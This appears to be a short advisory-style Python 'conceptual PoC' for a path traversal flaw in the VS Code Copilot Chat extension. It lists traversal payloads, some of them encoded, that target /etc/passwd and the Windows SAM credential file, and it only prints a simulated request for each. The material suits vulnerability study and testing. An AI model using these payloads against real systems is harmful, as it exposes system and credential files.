CVE-2025-62449 Visual Studio Code CoPilot Chat路径遍历漏洞

# CVE-2025-62449 Path Traversal PoC for VS Code CoPilot Chat # This PoC demonstrates the path traversal vulnerability in CoPilot Chat extension import os import json import subprocess import time def test_path_traversal(): """ Test for CVE-2025-62449: Path Traversal in VS Code CoPilot Chat Attack scenario: 1. Attacker has local access to the system with low privileges 2. Attacker crafts a path traversal payload through CoPilot Chat 3. The extension fails to sanitize path inputs properly 4. Attacker can access restricted directories/files """ # Common path traversal patterns traversal_patterns = [ "../../../../etc/passwd", "..\\..\\..\\..\\windows\\system32\\config\\sam", "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", "....//....//....//....//etc/passwd", "..%252f..%252f..%252f..%252fetc%252fpasswd" ] print("[*] CVE-2025-62449 Path Traversal Test") print("[*] Target: Visual Studio Code CoPilot Chat Extension") print("[*] CVSS Score: 6.8 (Medium)") print("[*] Attack Vector: Local (AV:L)") print("[*] Privileges Required: Low (PR:L)") print("[*] User Interaction: Required (UI:R)") print() for pattern in traversal_patterns: print(f"[*] Testing payload: {pattern}") # Simulate CoPilot Chat request with path traversal payload = { "type": "file_access_request", "path": pattern, "action": "read", "source": "copilot_chat" } # In real scenario, this would be sent to VS Code CoPilot Chat # The extension should validate and reject this request # but due to CVE-2025-62449, it may process the traversal print(f"[+] Payload constructed: {json.dumps(payload)}") print(f"[!] If unsanitized, this could access: {os.path.normpath(pattern)}") print() print("[*] Note: This is a conceptual PoC. Actual exploitation requires:") print(" 1. VS Code with CoPilot Chat extension installed") print(" 2. Local access to the system") print(" 3. User interaction through CoPilot Chat interface") print(" 4. The extension's path validation bypass") print() print("[*] Recommended fix: Implement strict path validation") print("[*] Expected behavior: All payloads should be rejected") if __name__ == "__main__": test_path_traversal()